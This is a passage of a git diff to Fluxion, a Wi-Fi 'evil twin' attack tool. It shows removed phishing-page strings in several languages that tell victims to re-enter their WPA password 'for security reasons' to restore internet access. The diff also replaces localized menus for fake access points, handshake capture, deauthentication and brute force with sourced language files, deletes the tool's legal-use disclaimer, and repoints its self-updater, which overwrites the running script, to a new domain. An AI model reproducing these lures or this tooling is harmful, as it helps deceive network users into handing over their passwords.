uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." -DIALOG_WEB_INPUT_NL="Typ Uw WPA wachtwoord:" -DIALOG_WEB_SUBMIT_NL="Invoeren" -DIALOG_WEB_ERROR_NL="Error: Het ingevoerde wachtwoord is niet juist!" -DIALOG_WEB_OK_NL="Uw verbinding wordt in enkele seconden hervat." -DIALOG_WEB_BACK_NL="Terug" -DIALOG_WEB_ERROR_MSG_NL="Dit veld is verplicht." -DIALOG_WEB_LENGTH_MIN_NL="Het wachtwoord moet langer zijn dan {0} karakters!" -DIALOG_WEB_LENGTH_MAX_NL="Het wachtwoord moet korter zijn dan {0} karakters!" -DIALOG_WEB_DIR_NL="ltr" - -#DAN -DIALOG_WEB_INFO_DAN="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet." -DIALOG_WEB_INPUT_DAN="Angiv netværksadgangskoden:" -DIALOG_WEB_SUBMIT_DAN="Forsæt" -DIALOG_WEB_ERROR_DAN="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" -DIALOG_WEB_OK_DAN="Tak, din forbindelse vil blive genoprettet inden få sekunder." -DIALOG_WEB_BACK_DAN="Tilbage" -DIALOG_WEB_ERROR_MSG_DAN="Dette felt er obligatorisk" -DIALOG_WEB_LENGTH_MIN_DAN="Netværksadgangskoden skal være på mere end {0} tegn!" -DIALOG_WEB_LENGTH_MAX_DAN="Netværksadgangskoden skal være på mindre end {0} tegn!" -DIALOG_WEB_DIR_DAN="ltr" - -#TH -DIALOG_WEB_INFO_TH="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต." -DIALOG_WEB_INPUT_TH="กรอกรหัสผ่าน WIFI ของท่าน:" -DIALOG_WEB_SUBMIT_TH="ยืนยัน" -DIALOG_WEB_ERROR_TH="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง" -DIALOG_WEB_OK_TH="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..." -DIALOG_WEB_BACK_TH="กลับ" -DIALOG_WEB_ERROR_MSG_TH="กรุณากรอกช่องนี้!" -DIALOG_WEB_LENGTH_MIN_TH="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!" -DIALOG_WEB_LENGTH_MAX_TH="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!" -DIALOG_WEB_DIR_TH="ltr" - -#HE -DIALOG_WEB_INFO_HE="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט." -DIALOG_WEB_INPUT_HE="הזן את סיסמת הWPA:" -DIALOG_WEB_SUBMIT_HE="שלח" -DIALOG_WEB_ERROR_HE="שגיאה: הסיסמה שגויה!" -DIALOG_WEB_OK_HE="החיבור לאינטרנט יוחזר בעוד כמה רגעים." -DIALOG_WEB_BACK_HE="אחורה" -DIALOG_WEB_ERROR_MSG_HE="זהו שדה חובה." -DIALOG_WEB_LENGTH_MIN_HE="הסיסמה חייבת להכיל יותר מ{0} תוים!" -DIALOG_WEB_LENGTH_MAX_HE="הסיסמה חייבת להכיל פחות מ{0} תוים!" -DIALOG_WEB_DIR_ENG="ltr" - -#Portuguese -DIALOG_WEB_INFO_PT_BR="Por razões de segurança, insira a senha WPA para acessar a internet" -DIALOG_WEB_INPUT_PT_BR="Insira sua senha WPA:" -DIALOG_WEB_SUBMIT_PT_BR="Enviar" -DIALOG_WEB_ERROR_PT_BR="Erro: A senha inserida não está correta!" -DIALOG_WEB_OK_PT_BR="Sua conexão será recuperada em breve." -DIALOG_WEB_BACK_PT_BR="Voltar" -DIALOG_WEB_ERROR_MSG_PT_BR="Este campo é obrigatório." -DIALOG_WEB_LPT_BRTH_MIN_PT_BR="A senha deve ter mais de {0} caracteres!" -DIALOG_WEB_LPT_BRTH_MAX_PT_BR="A senha deve ter menos de {0} caracteres!" -DIALOG_WEB_DIR_PT_BR="ltr" +source language/source # Design function top(){ @@ -537,7 +143,7 @@ function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" - echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" + echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo @@ -786,7 +392,6 @@ fi if [ $FLUX_DEBUG != 1 ]; then - whiptail --title "Fluxion Disclaimer" --msgbox "Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s). Be sure that you understand and are complying with the Fluxion licenses and laws in your area. In other words, don't be stupid, don't be an asshole and use this tool responsibly and legally." 14 60 clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " @@ -799,9 +404,9 @@ if [ $FLUX_DEBUG != 1 ]; then echo"" sleep 0.1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 - echo -e $green " Page:"$red" https://github.com/strasharo/fluxion "$transparent + echo -e $green " Page:"$red" https://fluxion.tk/ "$transparent sleep 0.1 echo -n " Latest rev." tput civis @@ -820,8 +425,10 @@ if [ $FLUX_DEBUG != 1 ]; then echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then + cp $0 $HOME/flux_rev-$revision.backup - curl "https://raw.githubusercontent.com/strasharo/fluxion/master/fluxion" -s -o $0 + curl "https://fluxion.tk/fluxion" -s -o $0 + echo echo echo -e ""$red" @@ -935,7 +542,7 @@ case $detectedresolution in * ) resA ;; esac -language +language; setinterface } function language { @@ -944,7 +551,7 @@ function language { conditional_clear if [ "$FLUX_AUTO" = "1" ];then - german; setinterface + source $WORK_DIR/language/en; setinterface else @@ -952,9 +559,9 @@ else conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Select your language" + echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" English " + echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " @@ -963,23 +570,24 @@ else echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " - echo -e " "$red"["$yellow"10"$red"]"$transparent" French " - echo " " + echo -e " "$red"["$yellow"10"$red"]"$transparent" French " + echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " + echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in - 1 ) english; setinterface; break ;; - 2 ) german; setinterface; break ;; - 3 ) romanian; setinterface; break;; - 4 ) turkish; setinterface; break;; - 5 ) spanish; setinterface; break;; - 6 ) chinese; setinterface; break;; - 7 ) italian; setinterface; break;; - 8 ) czech; setinterface; break;; - 9 ) greek; setinterface; break;; - 10 ) french; setinterface; break;; - skip ) english; skipme; break;; + 1 ) source $WORK_DIR/language/en; break;; + 2 ) source $WORK_DIR/language/ger; break;; + 3 ) source $WORK_DIR/language/ro; break;; + 4 ) source $WORK_DIR/language/tu; break;; + 5 ) source $WORK_DIR/language/esp; break;; + 6 ) source $WORK_DIR/language/ch; break;; + 7 ) source $WORK_DIR/language/it; break;; + 8 ) source $WORK_DIR/language/cz break;; + 9 ) source $WORK_DIR/language/gr; break;; + 10 ) source $WORK_DIR/language/fr; break;; + 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done @@ -987,536 +595,6 @@ fi } -function german { - header_setinterface="Wähle deine Netzwerkkarte aus" - setinterface_error="Es wurden keine Netzwerkkarten gefunden, beende..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Wähle deinen Kanal aus" - - choosescan_option_1="Alle Kanäle" - choosescan_option_2="Spezifische Kanal(e)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Einzelner Kanal" - scanchan_option_2="Mehrere Kanäle" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scanne Netzwerke..." - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Wähle deine Angriffsmethode aus" - askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)" - askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)" - askAP_option_4="Bruteforce - (Handshake wird benötigt)" - general_back="Zurück" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="Methode zum Prüfen des Handshake" - askauth_option_1="Handshake ("$red"Empfohlen)" - askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Handshake-Überprüfung" - deauthforce_option_1="aircrack-ng (Ausfall möglich)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Erfassung des Handshake*" - deauthMENU_option_1="Überprüfe Handshake" - deauthMENU_option_2="Starte neu" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Wähle deine Strategie aus" - header_ConnectionRESET="Wähle deine Anmeldeseite aus" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_case_error="Unbekannte Option, wähle neu aus" - general_error_1="Nicht gefunden" - general_error_2="Datei wurde ${red}nicht$transparent gefunden" - general_back="Zurück" - general_exitmode="Aufräumen und schließen" - general_exitmode_1="Deaktivierung des Monitor Interface" - general_exitmode_2="Deaktivierung des Interface" - general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen" - general_exitmode_4="Säubere "$grey"iptables" - general_exitmode_5="Wiederherstellung von"$grey"tput" - general_exitmode_6="Neustarten des "$grey"Netzwerk Manager" - general_exitmode_7="Wiederherstellung war erfolgreich" - general_exitmode_8="Vielen Dank für die Nutzung von Fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Mit aktive Nutzer" - selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent" - -} - -function french { - header_setinterface="Sélectionnez une interface" - setinterface_error="Pas de carte wifi detecté, fin..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Sélectionnez un canal" - choosescan_option_1="Tous les canaux " - choosescan_option_2="Canal spécifique" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Un seul canal" - scanchan_option_2="Plusieurs canaux" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scan du reseau" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Sélectionnez une option d'attaque" - askAP_option_1="FakeAP - Hostapd ("$red"Recommandé)" - askAP_option_2="FakeAP - airbase-ng (Connexion plus lente)" - askAP_option_4="Bruteforce - (Handshake requis)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHODE DE VÉRIFICATION DU PASSWORD" - askauth_option_1="Handshake ("$red"Recommandé)" - askauth_option_2="Wpa_supplicant (Plus d'échecs)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Vérification du Handshake" - deauthforce_option_1="aircrack-ng (Moins de chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Capture du Handshake*" - deauthMENU_option_1="Vérification du Handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Sélectionnez votre option" - header_ConnectionRESET="Sélectionnez la page de connexion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Retour" - general_error_1="Pas trouvé" - general_case_error="Option inconnue. Sélectionnez à nouveau" - general_exitmode="Nettoyage et fermeture" - general_exitmode_1="Désactivation de l'interface de monitoring" - general_exitmode_2="Désactivation de l'interface" - general_exitmode_3="Désactivation de "$grey" transmission de paquets" - general_exitmode_4="Nettoyage "$grey"iptables" - general_exitmode_5="Restauration "$grey"tput" - general_exitmode_6="Redémarrage "$grey"Network-Manager" - general_exitmode_7="Nettoyage effectué avec succès!" - general_exitmode_8="Merci d'avoir utilisé fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Clients actifs" - selection_2="Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent" -} - -function english { - header_setinterface="Select an interface" - setinterface_error="There are no wireless cards, quit..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Select channel" - choosescan_option_1="All channels " - choosescan_option_2="Specific channel(s)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Single channel" - scanchan_option_2="Multiple channels" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="WIFI Monitor" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Scanning Target" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Select Attack Option" - askAP_option_1="FakeAP - Hostapd ("$red"Recommended)" - askAP_option_2="FakeAP - airbase-ng (Slower connection)" - askAP_option_4="Bruteforce - (Handshake is required)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHOD TO VERIFY THE PASSWORD" - askauth_option_1="Handshake ("$red"Recommended)" - askauth_option_2="Wpa_supplicant(More failures)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Handshake check" - deauthforce_option_1="aircrack-ng (Miss chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Capture Handshake*" - deauthMENU_option_1="Check handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Select your option" - header_ConnectionRESET="Select Login Page" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Back" - general_error_1="Not_Found" - general_case_error="Unknown option. Choose again" - general_exitmode="Cleaning and closing" - general_exitmode_1="Disabling monitoring interface" - general_exitmode_2="Disabling interface" - general_exitmode_3="Disabling "$grey"forwarding of packets" - general_exitmode_4="Cleaning "$grey"iptables" - general_exitmode_5="Restoring "$grey"tput" - general_exitmode_6="Restarting "$grey"Network-Manager" - general_exitmode_7="Cleanup performed successfully!" - general_exitmode_8="Thanks for using fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Active clients" - selection_2="Select target. For rescan type$red r$transparent" - } - -function romanian { - header_setinterface="Selecteaza o interfata" - setinterface_error="Nu este nici o placa de retea wireless, iesire..." - - # - header_choosescan="Selecteaza canalul" - choosescan_option_1="Toate canalele " - choosescan_option_2="Canal specific(s)" - # - scanchan_option_1="Un singur canal" - scanchan_option_2="Canale multiple" - # - header_scan="WIFI Monitor" - # - header_scanchan="Scaneaza tinta" - # - header_askAP="Selecteaza optiunea de atac" - askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)" - askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)" - askAP_option_4="Bruteforce - (Handshake este necesara)" - # - header_askauth="METODA PENTRU VERIFICAREA PAROLEI" - askauth_option_1="Handshake ("$red"Recomandat)" - askauth_option_2="Wpa_supplicant(Mai multe eșecuri)" - # - header_deauthforce="Verificare Handshake" - deauthforce_option_1="aircrack-ng (Sansa ratata)" - # - header_deauthMENU="*Capturare Handshake*" - deauthMENU_option_1="Verificare handshake" - # - handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip" - # - header_webinterface="Selecteaza optiunea ta" - header_ConnectionRESET="Selecteaza pagina de logare" - # - general_back="Inapoi" - general_error_1="Nu a fost gasit" - general_case_error="Optiune necunoscuta. Incearca din nou" - general_exitmode="Curatire si inchidere" - general_exitmode_1="Dezacticati interfata monitorizata" - general_exitmode_2="Dezactivati interfata" - general_exitmode_3="Dezactivati "$grey"forwarding of packets" - general_exitmode_4="Curatire "$grey"iptables" - general_exitmode_5="Restaurare "$grey"tput" - general_exitmode_6="Restartare "$grey"Network-Manager" - general_exitmode_7="Curatire efectuata cu succes!" - general_exitmode_8="Multumesc pentru ca ati folosit fluxion" - # - selection_1="Clienti activi" - selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent" - -} - -function turkish { - header_setinterface="Bir Ag Secin" - setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..." - - # - header_choosescan="Kanal Sec" - choosescan_option_1="Tum Kanallar " - choosescan_option_2="Sectigim Kanal ya da Kanallar" - # - scanchan_option_1="Tek Kanal" - scanchan_option_2="Coklu Kanal" - # - header_scan="Wifi Goruntule" - # - header_scanchan="Hedef Taraniyor" - # - header_askAP="Saldiri Tipi Secin" - askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)" - askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)" - askAP_option_4="Kabakuvvet - (Handshake Gereklidir)" - # - header_askauth="Sifre Kontrol Metodu" - askauth_option_1="Handshake ("$red"Tavsiye Edilen)" - askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)" - # - header_deauthforce="Handshake Kontrol" - deauthforce_option_1="aircrack-ng (Hata Sansı Var)" - # - header_deauthMENU="*Kaydet Handshake*" - deauthMENU_option_1="Kontrol Et handshake" - # - handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin" - # - header_webinterface="Secenegi Sec" - header_ConnectionRESET="Giris Sayfasini Sec" - # - general_back="Geri" - general_error_1="Bulunamadi" - general_case_error="Bilinmeyen Secenek. Tekrar Seciniz" - general_exitmode="Temizleniyor ve Kapatiliyor" - general_exitmode_1="Monitor modu kapatiliyor" - general_exitmode_2="Ag Arayuzu kapatiliyor" - general_exitmode_3="Kapatiliyor "$grey"forwarding of packets" - general_exitmode_4="Temizleniyor "$grey"iptables" - general_exitmode_5="Yenileniyor "$grey"tput" - general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager" - general_exitmode_7="Temizlik Basariyla Tamamlandi!" - general_exitmode_8="Fluxion kullandiginiz icin tesekkurler." - # - selection_1="Aktif kullanicilar" - selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent" - -} - -function spanish { - header_setinterface="Seleccione una interfase" - setinterface_error="No hay tarjetas inalambricas, saliendo..." - - # - header_choosescan="Seleccione canal" - choosescan_option_1="Todos los canales " - choosescan_option_2="Canal(es) específico(s)" - # - scanchan_option_1="Canal único" - scanchan_option_2="Canales múltiples" - # - header_scan="WIFI Monitor" - # - header_scanchan="Escaneando objetivo" - # - header_askAP="Seleccione Opción de Ataque" - askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)" - askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)" - askAP_option_4="Bruteforce - (Se requiere handshake)" - # - header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA" - askauth_option_1="Handshake ("$red"Recomendado)" - askauth_option_2="Wpa_supplicant(Más Fallas)" - # - header_deauthforce="Chequeo de Handshake" - deauthforce_option_1="aircrack-ng (Posibilidad de error)" - # - header_deauthMENU="*Capturar Handshake*" - deauthMENU_option_1="Chequear handshake" - # - handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar" - # - header_webinterface="Seleccione su opción" - header_ConnectionRESET="Seleccione página de Login" - # - general_back="Atrás" - general_error_1="No_Encontrado" - general_case_error="Opción desconocida. Elija de nuevo" - general_exitmode="Limpiando y cerrando" - general_exitmode_1="Deshabilitando interfaz de monitoreo" - general_exitmode_2="Deshabilitando interfaz" - general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes" - general_exitmode_4="Limpiando "$grey"iptables" - general_exitmode_5="Restaurando "$grey"tput" - general_exitmode_6="Reiniciando "$grey"Network-Manager" - general_exitmode_7="Limpieza realizada satisfactoriamente!" - general_exitmode_8="Gracias por usar fluxion" - # - selection_1="Clientes activos" - selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent" - - -} - -function chinese { - - setinterface_error="没有检测到网卡 退出..." - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="选择信道" - choosescan_option_1="所有信道 " - choosescan_option_2="指定信道" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="单一信道" - scanchan_option_2="多个信道" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="正在扫描目标" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="选择攻击选项" - askAP_option_1="伪装AP - Hostapd ("$red"推荐)" - askAP_option_4="暴力破解 - (需要握手包)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="请选择验证密码方式" - askauth_option_2="提供的wpa (易错)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="握手包检查" - deauthforce_option_1="aircrack-ng (Miss chance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*抓握手包*" - deauthMENU_option_1="检查握手包" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="请选择" - header_ConnectionRESET="选择登陆界面" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="返回" - general_error_1="未找到" - general_case_error="未知选项. 请再次选择" - general_exitmode="清理并退出" - general_exitmode_3="关闭 "$grey"forwarding of packets" - general_exitmode_4="清理 "$grey"iptables" - general_exitmode_5="恢复 "$grey"tput" - general_exitmode_6="重启 "$grey"Network-Manager" - general_exitmode_7="清理完成!" - general_exitmode_8="感谢使用fluxion!" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="活动的客户端" - selection_2="选择一个目标. 重扫 按$red r$transparent" - -} - -function italian { - - header_setinterface="Seleziona un'interfaccia" - setinterface_error="Nessuna scheda di rete trovata, chiusura..." - - # - header_choosescan="Selezione Canale" - choosescan_option_1="Tutti i Canali" - choosescan_option_2="Definisci Canale/i" - # - scanchan_option_1="Canale Singolo" - scanchan_option_2="Canali Multipli" - # - header_scan="WIFI Monitor" - # - header_scanchan="Scansione dell'Obiettivo" - # - header_askAP="Seleziona Opzione d'Attacco" - askAP_option_1="FakeAP - Hostapd ("$red"Consigliato!)" - askAP_option_2="FakeAP - airbase-ng (Connessione Lenta)" - askAP_option_4="Bruteforce - (Richiede handshake)" - # - header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD" - askauth_option_1="Handshake ("$red"Consigliato!)" - askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)" - # - header_deauthforce="Controllo dell'Handshake" - deauthforce_option_1="aircrack-ng (Possibilità di Errori)" - # - header_deauthMENU="*Cattura dell'Handshake*" - deauthMENU_option_1="Controllo handshake" - # - handshakelocation_1="posizione dell'handshake (Esempio: $red$WORK_DIR.cap$transparent)" - handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare" - # - header_webinterface="Seleziona la tua scelta" - header_ConnectionRESET="Seleziona la pagina di Login" - # - general_back="Indietro" - general_error_1="Non_Trovato" - general_case_error="Opzione Sconosciuta. Scegli di nuovo" - general_exitmode="Pulizia e chiusura" - general_exitmode_1="Disabilito l'Interfaccia Monitor" - general_exitmode_2="Disabilito l'Interfaccia" - general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti" - general_exitmode_4="Pulisco "$grey"iptables" - general_exitmode_5="Ripristino "$grey"tput" - general_exitmode_6="Riavvio il "$grey"Network-Manager" - general_exitmode_7="Pulizia avvenuta con successo!" - general_exitmode_8="Grazie per aver utilizzato Fluxion" - # - selection_1="Dispositivi connessi" - selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent" - -} - -function czech { - header_setinterface="Vyberte rozhraní" - setinterface_error="Žádná síťová rozhraní, zavíraní..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Vyberte kanál" - choosescan_option_1="Všechny kanály" - choosescan_option_2="Specifický kanál(y)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Jeden kanál" - scanchan_option_2="Více kanálů" - # 